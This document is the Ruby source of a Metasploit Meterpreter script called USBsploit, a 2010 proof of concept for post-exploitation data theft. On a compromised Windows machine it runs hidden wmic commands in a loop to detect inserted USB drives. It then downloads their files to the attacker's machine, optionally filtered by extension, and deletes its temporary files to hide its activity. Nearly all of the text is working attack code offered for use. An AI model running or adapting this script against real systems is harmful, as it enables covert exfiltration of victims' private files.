USBsploit Proof Of Concept

`### $Id: usbploit.rb 2010-06-19 22:46:25Z XPO $  
### Contact : [email protected] or http://twitter.com/secuobs  
### Tested target : Windows XP Pro SP3 into vmware server from a GNU/Linux host (USBsploit needs wmic on the targets to work)  
os = client.sys.config.sysinfo['OS']  
host = client.sys.config.sysinfo['Computer']  
require 'net/http'  
### options  
@@exec_opts = Rex::Parser::Arguments.new(  
"-d" => [ false,"Dump all the files and directories."],  
"-h" => [ false,"Help menu."],  
"-t" => [ false,"Dump only the text files using a predefined extensions sets (Autamatic download set file if needed). Must be placed after the -e parameter if not default value"],  
"-e" => [ true,"Specify a personnal file path with a specific extensions set to dump, must be enclosed between double quotes if complex path. Must be placed before the -t parameter if not default value."],  
"-w" => [ false,"Run the scan only one time instead of the infinite while."],  
"-v" => [ false,"Activate high verbosity"],  
)  
################## function declaration Declarations ##################  
### help  
def usage  
puts @@exec_opts.usage  
print_line("USAGE: ")  
print_line("With Metasploit >>> run usbsploit -w -v -e /opt/metasploit3/msf3/msf/data/textextensions -t")  
print_line("Previous command Will dump only the files matching the extensions set defined by the personnal extensions file and this will be done while a scan is successfull. High verbosity is also activated. NOTE: USBsploit needs wmic on the targets to work!!!\n")  
end  
### executing remote wmic commands  
def wmicexec(client,wmiccmds= nil)  
windr = ''  
tmpout = ''  
windrtmp = ""  
client.response_timeout=120  
begin  
tmp = client.fs.file.expand_path("%TEMP%")  
wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000))  
wmiccmds.each do |wmi|  
r = client.sys.process.execute("cmd /c wmic /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true})  
sleep(2)  
#Making sure that wmic finnishes before executing next wmic command  
prog2check = "wmic.exe"  
found = 0  
while found == 0  
client.sys.process.get_processes().each do |x|  
found =1  
if prog2check == (x['name'].downcase)  
sleep(0.5)  
found = 0  
end  
end  
end  
r.close  
end  
### Read the output file of the wmic commands  
wmidrivefile = client.fs.file.new(wmicfl, "rb")  
until wmidrivefile.eof?  
tmpout << wmidrivefile.read  
end  
wmidrivefile.close  
wmidrivefile.close  
rescue ::Exception => e  
end  
### We delete the file with the wmic command output.  
c = client.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})  
c.close  
tmpout  
end  
### handle files  
def filewrt(file2wrt, data2wrt)  
output = ::File.open(file2wrt, "a")  
data2wrt.each_line do |d|  
output.puts(d)  
end  
output.close  
end  
### test if file exists remotely  
def remoteexists(dst)  
value = client.fs.dir.entries(dst)  
return value  
rescue  
return false  
end  
### test if a drive still exists remotely  
def remotedriveexists(dst)  
value = client.fs.dir.entries(dst)  
return true  
rescue  
return false  
end  
### recursive and differential downloader  
def dumper(dst,src,dump,verbose,host,extensionsfile,volumeserialnumber)  
begin  
### if a dump attack was chosen  
if dump == "true" or dump == "extension"  
state = 0  
### for each item on the drive  
if (value = remotedriveexists(src + File::SEPARATOR) == true)  
each = client.fs.dir.entries(src)  
each.each { |src_sub|  
if (src_sub == '.' or src_sub == '..')  
next  
end  
src_item = src + File::SEPARATOR + src_sub  
dst_item = dst + ::File::SEPARATOR + src_sub  
src_stat = client.fs.filestat.new(src_item)  
### if item is a file  
if (src_stat.file?)  
### check local size if file exist allready locally  
if ::File.exists?(dst_item)  
dst_size = File.size(dst_item)  
else  
dst_size = "NULL"  
end  
if src_stat.size == dst_size  
### same size  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" unchanged compare to local copy \"#{dst_item}\"")  
end  
else  
### different size or no local copy, download the file  
### download only file matching the extensions set if option chosen  
if dump == "extension"  
openextension = 0  
File.readlines(extensionsfile).map {|extension|  
begin  
if extension.gsub("\n","") == File.extname(dst_item).gsub(".","")  
client.fs.file.download_file(dst_item, src_item)  
state += 1  
openextension = 1  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" CHANGED compare to local copy or NEW, donwloaded and now available under \"#{dst_item}\", extension \"#{extension.gsub("\n","")}\" matchs the set chosen")  
end  
end  
end  
}  
if openextension == 0  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" wasn't donwloaded, \"#{File.extname(dst_item).gsub(".","")}\" not part of the extensions range chosen")  
end  
end  
else  
### download file without taking care of an extensions set  
client.fs.file.download_file(dst_item, src_item)  
state += 1  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") from \"#{host}\" CHANGED compare to local copy or NEW, donwloaded and now available under \"#{dst_item}\"")  
end  
end  
end  
### if item is a directory  
elsif (src_stat.directory?)  
if ::File.exists?(dst_item)  
else  
### create the local directory identified on the remote drive if not exist  
::Dir.mkdir(dst_item)  
end  
### relaunch dumper function on the sub directory  
if verbose == "true"  
print_status("\"#{src_item}\" (Volume Name: \"#{volumeserialnumber}\") directory and under files from \"#{host}\" will be checked")  
end  
statet = state  
state = dumper(dst_item,src_item,dump,verbose,host,extensionsfile,volumeserialnumber)  
state += statet  
end  
}  
end  
end  
end  
return state  
rescue ::Exception => e  
return state  
end  
### parsing options  
dump = "false"  
verbose = "false"  
stopwhile = "false"  
extensionsfile = ::File.join(Msf::Config.data_directory, 'textextensions' )  
@@exec_opts.parse(args) do |opt, idx, val|  
case opt  
when "-d"  
dump = "true"  
when "-e"  
if ::File.exists?(extensionsfile)  
dump = "extension"  
extensionsfile = val  
else  
raise "Personnal extensions set File \"#{val}\" does not exist!"  
end  
when "-t"  
if ::File.exists?(extensionsfile)  
dump = "extension"  
else  
Net::HTTP.start("www.secuobs.com") do |http|  
req = Net::HTTP::Get.new("/usbsploit/textextensions}")  
resp = http.request(req)  
::File.open(::File.join(Msf::Config.data_directory, "textextensions"), "wb") do |fd|  
fd.write(resp.body)  
end  
end  
if ::File.exists?(extensionsfile)  
print_status("\"#{Msf::Config.data_directory}/textextensions\" downloaded \"from http://www.secuobs.com/usbsploit/textextensions\"")  
dump = "extension"  
else  
raise "Text extensions set File \"#{extensionsfile}\" does not exists and can't be downloaded!"  
end  
end  
when "-w"  
stopwhile = "true"  
when "-v"  
verbose = "true"  
when "-h"  
usage  
raise Rex::Script::Completed  
end  
end  
if args.length == 0  
dump = "true"  
end  
### variable declarations  
commands = ["LogicalDisk WHERE \"Description = 'Removable Disk'\" get DeviceID"]  
nbdrive = 0  
state = 0  
### Create a directory for the dumps  
logstmp = ::File.join(Msf::Config.log_directory, 'usbsploit' )  
logs = logstmp + "/" + host  
if ::File.exists?(logs)  
else  
::FileUtils.mkdir_p(logs)  
end  
### declaration tracking files  
drivefile = logstmp + "/drive" + host  
volumeserialnumberfile = logstmp + "/volumeserialnumber" + host  
oldvolumeserialnumberfile = logstmp + "/oldvolumeserialnumber" + host  
### cleaning  
if ::File.exists?(oldvolumeserialnumberfile)  
File.unlink(oldvolumeserialnumberfile)  
end  
### start  
print_status("Start launching USBsploit module Dump on the remote target \"#{host}\"")  
print_status("Waiting for removable drives to be inserted, remember USBsploit needs wmic on the targets to work!!!")  
first = 0  
temp = 0  
while temp < 1  
dumped = 0  
newnbdrive = 0  
### cleaning  
if ::File.exists?(volumeserialnumberfile)  
File.unlink(volumeserialnumberfile)  
end  
if ::File.exists?(drivefile)  
File.unlink(drivefile)  
end  
### number of drives plugged  
filewrt(drivefile, wmicexec(client,commands))  
::File.open(drivefile, "r").each_line do |drive|  
begin  
drive = drive.gsub(/[^\w|:]/,"")  
if drive =~ /:/  
newnbdrive += 1  
end  
end  
end  
### If at least one drive is plugged now and one was plugged during the last scan  
if newnbdrive > 0 and nbdrive > 0  
if newnbdrive > 1 and nbdrive > 1  
print_status("#{newnbdrive} drives are plugged into \"#{host}\", #{nbdrive} drives were previously inserted")  
elsif newnbdrive > 1 and nbdrive == 1  
print_status("#{newnbdrive} drives are plugged into \"#{host}\", #{nbdrive} drive was previously inserted")  
elsif newnbdrive == 1 and nbdrive > 1  
print_status("#{newnbdrive} drive is plugged into \"#{host}\", #{nbdrive} drives were previously inserted")  
elsif newnbdrive == 1 and nbdrive == 1  
print_status("#{newnbdrive} drive is plugged into \"#{host}\", #{nbdrive} drive was previously inserted")  
end  
### Get the list of all plugged drives this time  
::File.open(drivefile, "r").each_line do |drive|  
begin  
drive = drive.gsub(/[^\w|:]/,"")  
if drive =~ /:/  
### Get the volumeserialnumber for the plugged drive checked at this time  
newvolumeserialnumber = 1  
openvolumeserialnumber = 0  
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]  
filewrt(volumeserialnumberfile, wmicexec(client,command))  
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|  
begin  
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")  
if volumeserialnumber =~ /\d/  
openvolumeserialnumber = 1  
### Recover all the volumeserialnumber values for the drives plugged during the last scan  
if ::File.exists?(oldvolumeserialnumberfile)  
::File.open(oldvolumeserialnumberfile, "r").each_line do |oldvolumeserialnumber|  
begin  
oldvolumeserialnumber = oldvolumeserialnumber.gsub(/[^\w|:]/,"")  
if oldvolumeserialnumber =~ /\d/  
### Check if this volumeserialnumber was part of the recovered ones from the last scan  
if volumeserialnumber == oldvolumeserialnumber  
newvolumeserialnumber = 0  
if verbose == "true"  
print_status("\"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\") found on \"#{host}\" but was allready inserted before and dumped")  
end  
else  
### nothing to do here  
end  
end  
end  
end  
else  
newvolumeserialnumber = 1  
end  
end  
end  
end  
if newvolumeserialnumber == 1 and openvolumeserialnumber == 1  
### Check if the new plugged drive is allways plugged at this time  
sleep(2)  
if (value = remotedriveexists(drive + File::SEPARATOR) == true)  
if ::File.exists?(volumeserialnumberfile)  
File.unlink(volumeserialnumberfile)  
end  
filewrt(volumeserialnumberfile, wmicexec(client,command))  
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|  
begin  
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")  
if volumeserialnumber =~ /\d/  
### Create a directory for the dumps  
logskey = logstmp + "/" + host + "/" + volumeserialnumber  
if ::File.exists?(logskey)  
else  
::FileUtils.mkdir_p(logskey)  
end  
if dump == "true" or dump == "extension"  
print_status("New \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" found on \"#{host}\" will be dumped to \"#{logskey}\" if not allready from a previous attack")  
end  
### Dump the files from the new plugged drive  
state = dumper(logskey,drive,dump,verbose,host,extensionsfile,volumeserialnumber)  
dumped += 1  
if dump == "true" or dump == "extension"  
if state == "00" or state == ''  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, no new file was copied!")  
elsif state == 1  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} file was copied!")  
else  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} files were copied!")  
end  
end  
end  
end  
end  
else  
### The new plugged drive checked was unplugged  
if verbose == "true"  
if dump == "true" or dump == "extension"  
print_status("Files can't be dumped from \"#{drive + File::SEPARATOR}\", certainly removed from \"#{host}\" now!")  
end  
end  
end  
else  
### The plugged drive checked was allready part of the last scan  
end  
if ::File.exists?(volumeserialnumberfile)  
File.unlink(volumeserialnumberfile)  
end  
end  
end  
end  
### elsif at least one drive is plugged this time and any during the last scan  
elsif newnbdrive > 0 and nbdrive == 0  
if first == 0  
if newnbdrive > 1  
print_status("#{newnbdrive} drives are initially plugged into \"#{host}\" when USBsploit starts")  
elsif newnbdrive == 1  
print_status("#{newnbdrive} drive is initially plugged into \"#{host}\" when USBsploit starts")  
end  
first = 1  
else  
if newnbdrive > 1  
print_status("#{newnbdrive} drives are now plugged into \"#{host}\", any drive was previously inserted")  
elsif newnbdrive == 1  
print_status("#{newnbdrive} drive is now plugged into \"#{host}\", any drive was previously inserted")  
end  
end  
### Get the list of all plugged drives this time  
::File.open(drivefile, "r").each_line do |drive|  
begin  
drive = drive.gsub(/[^\w|:]/,"")  
if drive =~ /:/  
### check if the new drive is allways plugged  
sleep(2)  
if (value = remotedriveexists(drive + File::SEPARATOR) == true)  
### Get the volumeserialnumber for the plugged drive checked at this time  
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]  
if ::File.exists?(volumeserialnumberfile)  
File.unlink(volumeserialnumberfile)  
end  
filewrt(volumeserialnumberfile, wmicexec(client,command))  
::File.open(volumeserialnumberfile, "r").each_line do |volumeserialnumber|  
begin  
volumeserialnumber = volumeserialnumber.gsub(/[^\w|:]/,"")  
if volumeserialnumber =~ /\d/  
logskey = logstmp + "/" + host + "/" + volumeserialnumber  
if dump == "true" or dump == "extension"  
print_status("New \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" found on \"#{host}\" will be dumped to \"#{logskey}\" if not allready from a previous attack")  
end  
### Create a directory for the dumps  
if ::File.exists?(logskey)  
else  
::FileUtils.mkdir_p(logskey)  
end  
### Dump the files from the new plugged drive  
state = dumper(logskey,drive,dump,verbose,host,extensionsfile,volumeserialnumber)  
if dump == "true" or dump == "extension"  
if state == "00" or state == ''  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, no new file was copied!")  
elsif state == 1  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} file was copied!")  
else  
print_status("Dump \"#{drive + File::SEPARATOR}\" (Volume Name: \"#{volumeserialnumber}\" from \"#{host}\" to \"#{logskey}\" finished, #{state} files were copied!")  
end  
end  
dumped += 1  
if stopwhile == "true"  
temp += 1  
end  
end  
end  
end  
else  
### The new plugged drive checked was unplugged  
if verbose == "true"  
if dump == "true" or dump == "extension"  
print_status("Files can't be dumped from \"#{drive + File::SEPARATOR}\", certainly removed from \"#{host}\" now!")  
end  
end  
end  
end  
end  
end  
end  
### refresh the number of plugged drives for future checks  
if dumped == 0  
if newnbdrive == 1  
else  
end  
else  
if dumped == 1  
if newnbdrive == 1  
else  
end  
else  
if newnbdrive == 1  
else  
end  
end  
end  
if newnbdrive == nbdrive  
else  
if ::File.exists?(oldvolumeserialnumberfile)  
File.unlink(oldvolumeserialnumberfile)  
end  
### Save the volumeserialnumber of each plugged drives for future checks  
::File.open(drivefile, "r").each_line do |drive|  
begin  
drive = drive.gsub(/[^\w|:]/,"")  
if drive =~ /:/  
if (value = remotedriveexists(drive + File::SEPARATOR) == true)  
command = ["LogicalDisk WHERE \"Description = 'Removable Disk' and DeviceID = '#{drive}'\" get VolumeSerialNumber"]  
filewrt(oldvolumeserialnumberfile, wmicexec(client,command))  
end  
end  
end  
nbdrive = newnbdrive  
end  
end  
if ::File.exists?(drivefile)  
File.unlink(drivefile)  
end  
### delay for 2 continuous scans  
#sleep(10)  
end  
raise Rex::Script::Completed  
`